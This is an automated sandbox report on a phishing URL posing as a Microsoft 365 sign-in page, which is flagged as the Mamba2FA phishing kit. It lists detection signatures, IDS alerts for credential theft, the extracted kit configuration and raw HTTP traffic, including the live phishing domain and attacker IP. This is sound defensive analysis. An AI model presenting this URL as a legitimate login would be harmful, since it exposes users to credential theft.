Edit tour

Windows Analysis Report
https://chiquitzinbb.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPWQxbDZOVGc9JnVpZD1VU0VSMTYxMDIwMjRVMTExMDE2NDc=N0123N

Overview

General Information

Sample URL:	https://chiquitzinbb.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPWQxbDZOVGc9JnVpZD1VU0VSMTYxMDIwMjRVMTExMDE2NDc=N0123N
Analysis ID:	1541248
Infos:

Detection

HTMLPhisher, Mamba2FA

Score:	96
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected phishing page

Antivirus / Scanner detection for submitted sample

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected HtmlPhish10

Yara detected Mamba 2FA PaaS

Phishing site detected (based on image similarity)

Phishing site detected (based on logo match)

HTML body contains low number of good links

HTML body contains password input but no form action

HTML title does not match URL

Invalid 'forgot password' link found

Invalid T&C link found

Suricata IDS alerts with low severity for network traffic

Classification

Process Tree

System is w10x64

chrome.exe (PID: 2128 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 5012 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2036 --field-trial-handle=1952,i,14074926367511675992,18012498330361265080,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6256 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://chiquitzinbb.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPWQxbDZOVGc9JnVpZD1VU0VSMTYxMDIwMjRVMTExMDE2NDc=N0123N" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Malware Configuration

Threatname: Mamba2FA

{"sv": "o365_1_nom", "rand": "d1l6NTg=", "uid": "USER16102024U11101647"}

Yara Signatures

HTML

Source	Rule	Description	Author
1.1.pages.csv	JoeSecurity_Mamba2FA	Yara detected Mamba 2FA PaaS	Joe Security
1.1.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
1.0.pages.csv	JoeSecurity_Mamba2FA	Yara detected Mamba 2FA PaaS	Joe Security
1.0.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security

Suricata Signatures

ET PHISHING Generic Credential Phish Landing Page (jsnom.js)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T16:04:34.659793+0200	2056316	1	Successful Credential Theft Detected	192.168.2.4	49741	157.230.134.73	443	TCP
2024-10-24T16:04:36.016156+0200	2056316	1	Successful Credential Theft Detected	192.168.2.4	49743	157.230.134.73	443	TCP

ET PHISHING Javascript Browser Fingerprinting POST Request

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T16:04:33.631908+0200	2056643	2	Possible Social Engineering Attempted	192.168.2.4	49736	157.230.134.73	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: https://chiquitzinbb.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPWQxbDZOVGc9JnVpZD1VU0VSMTYxMDIwMjRVMTExMDE2NDc=N0123N

SlashNext: detection malicious, Label: Credential Stealing type: Phishing & Social Engineering

Found malware configuration

Source: 1.0.pages.csv

Malware Configuration Extractor: Mamba2FA {"sv": "o365_1_nom", "rand": "d1l6NTg=", "uid": "USER16102024U11101647"}

Phishing

AI detected phishing page

Source: https://chiquitzinbb.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPWQxbDZOVGc9JnVpZD1VU0VSMTYxMDIwMjRVMTExMDE2NDc=N0123N

LLM: Score: 7 Reasons: The brand 'Microsoft' is well-known and typically associated with the domain 'microsoft.com'., The URL 'chiquitzinbb.com' does not match the legitimate domain for Microsoft., The domain name 'chiquitzinbb.com' does not contain any recognizable elements related to Microsoft., The presence of input fields such as 'Email, phone or Skype' is typical for Microsoft services, but the domain mismatch is a strong indicator of phishing., The URL does not contain any subdomains or elements that would suggest a legitimate association with Microsoft. DOM: 1.1.pages.csv

Yara detected HtmlPhish10

Source: Yara match	File source: 1.1.pages.csv, type: HTML
Source: Yara match	File source: 1.0.pages.csv, type: HTML

Yara detected Mamba 2FA PaaS

Source: Yara match	File source: 1.1.pages.csv, type: HTML
Source: Yara match	File source: 1.0.pages.csv, type: HTML

Phishing site detected (based on image similarity)

Source: https://chiquitzinbb.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPWQxbDZOVGc9JnVpZD1VU0VSMTYxMDIwMjRVMTExMDE2NDc=N0123N

Matcher: Found strong image similarity, brand: MICROSOFT

Phishing site detected (based on logo match)

Source: https://chiquitzinbb.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPWQxbDZOVGc9JnVpZD1VU0VSMTYxMDIwMjRVMTExMDE2NDc=N0123N

Matcher: Template: microsoft matched

Source: https://chiquitzinbb.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPWQxbDZOVGc9JnVpZD1VU0VSMTYxMDIwMjRVMTExMDE2NDc=N0123N

HTTP Parser: Number of links: 0

Source: https://chiquitzinbb.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPWQxbDZOVGc9JnVpZD1VU0VSMTYxMDIwMjRVMTExMDE2NDc=N0123N

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://chiquitzinbb.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPWQxbDZOVGc9JnVpZD1VU0VSMTYxMDIwMjRVMTExMDE2NDc=N0123N

HTTP Parser: Title: Authenticating ... does not match URL

Source: https://chiquitzinbb.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPWQxbDZOVGc9JnVpZD1VU0VSMTYxMDIwMjRVMTExMDE2NDc=N0123N

HTTP Parser: Invalid link: Forgot password?

Source: https://chiquitzinbb.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPWQxbDZOVGc9JnVpZD1VU0VSMTYxMDIwMjRVMTExMDE2NDc=N0123N	HTTP Parser: Invalid link: Terms of use
Source: https://chiquitzinbb.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPWQxbDZOVGc9JnVpZD1VU0VSMTYxMDIwMjRVMTExMDE2NDc=N0123N	HTTP Parser: Invalid link: Privacy & cookies
Source: https://chiquitzinbb.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPWQxbDZOVGc9JnVpZD1VU0VSMTYxMDIwMjRVMTExMDE2NDc=N0123N	HTTP Parser: Invalid link: Terms of use
Source: https://chiquitzinbb.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPWQxbDZOVGc9JnVpZD1VU0VSMTYxMDIwMjRVMTExMDE2NDc=N0123N	HTTP Parser: Invalid link: Privacy & cookies

Source: https://chiquitzinbb.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPWQxbDZOVGc9JnVpZD1VU0VSMTYxMDIwMjRVMTExMDE2NDc=N0123N

HTTP Parser: <input type="password" .../> found

Source: https://chiquitzinbb.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPWQxbDZOVGc9JnVpZD1VU0VSMTYxMDIwMjRVMTExMDE2NDc=N0123N	HTTP Parser: No favicon
Source: https://chiquitzinbb.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPWQxbDZOVGc9JnVpZD1VU0VSMTYxMDIwMjRVMTExMDE2NDc=N0123N	HTTP Parser: No favicon

Source: https://chiquitzinbb.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPWQxbDZOVGc9JnVpZD1VU0VSMTYxMDIwMjRVMTExMDE2NDc=N0123N	HTTP Parser: No <meta name="author".. found
Source: https://chiquitzinbb.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPWQxbDZOVGc9JnVpZD1VU0VSMTYxMDIwMjRVMTExMDE2NDc=N0123N	HTTP Parser: No <meta name="author".. found

Source: https://chiquitzinbb.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPWQxbDZOVGc9JnVpZD1VU0VSMTYxMDIwMjRVMTExMDE2NDc=N0123N	HTTP Parser: No <meta name="copyright".. found
Source: https://chiquitzinbb.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPWQxbDZOVGc9JnVpZD1VU0VSMTYxMDIwMjRVMTExMDE2NDc=N0123N	HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.4:49775 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.4:49864 version: TLS 1.2

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2056316 - Severity 1 - ET PHISHING Generic Credential Phish Landing Page (jsnom.js) : 192.168.2.4:49743 -> 157.230.134.73:443
Source: Network traffic	Suricata IDS: 2056316 - Severity 1 - ET PHISHING Generic Credential Phish Landing Page (jsnom.js) : 192.168.2.4:49741 -> 157.230.134.73:443

Source: Network traffic

Suricata IDS: 2056643 - Severity 2 - ET PHISHING Javascript Browser Fingerprinting POST Request : 192.168.2.4:49736 -> 157.230.134.73:443

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 217.20.57.34
Source: unknown	TCP traffic detected without corresponding DNS query: 217.20.57.34
Source: unknown	TCP traffic detected without corresponding DNS query: 2.16.164.97
Source: unknown	TCP traffic detected without corresponding DNS query: 2.16.164.97
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /o/?c3Y9bzM2NV8xX25vbSZyYW5kPWQxbDZOVGc9JnVpZD1VU0VSMTYxMDIwMjRVMTExMDE2NDc=N0123N HTTP/1.1Host: chiquitzinbb.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /o/jsnom.js HTTP/1.1Host: chiquitzinbb.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://chiquitzinbb.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPWQxbDZOVGc9JnVpZD1VU0VSMTYxMDIwMjRVMTExMDE2NDc=N0123NAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _cid=3208f6c68a77d81894f07f02460fe283
Source: global traffic	HTTP traffic detected: GET /4.7.5/socket.io.min.js HTTP/1.1Host: cdn.socket.ioConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://chiquitzinbb.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://chiquitzinbb.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /o/jsnom.js HTTP/1.1Host: chiquitzinbb.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _cid=3208f6c68a77d81894f07f02460fe283
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://chiquitzinbb.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: chiquitzinbb.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://chiquitzinbb.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPWQxbDZOVGc9JnVpZD1VU0VSMTYxMDIwMjRVMTExMDE2NDc=N0123NAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://chiquitzinbb.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/picker_verify_fluent_authenticator_59892f1e05e3adf9fd2f71b42d92a27f.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://chiquitzinbb.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg HTTP/1.1Host: logincdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://chiquitzinbb.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/picker_verify_sms_12b7d768ba76f2e782cc74e328171091.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://chiquitzinbb.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /4.7.5/socket.io.min.js HTTP/1.1Host: cdn.socket.ioConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /w3css/4/w3.css HTTP/1.1Host: www.w3schools.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://chiquitzinbb.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/picker_verify_code_b41922ebdaebec16b19999fc6054a15a.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://chiquitzinbb.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: chiquitzinbb.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/picker_verify_fluent_authenticator_59892f1e05e3adf9fd2f71b42d92a27f.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/picker_verify_sms_12b7d768ba76f2e782cc74e328171091.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg HTTP/1.1Host: logincdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/picker_verify_code_b41922ebdaebec16b19999fc6054a15a.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
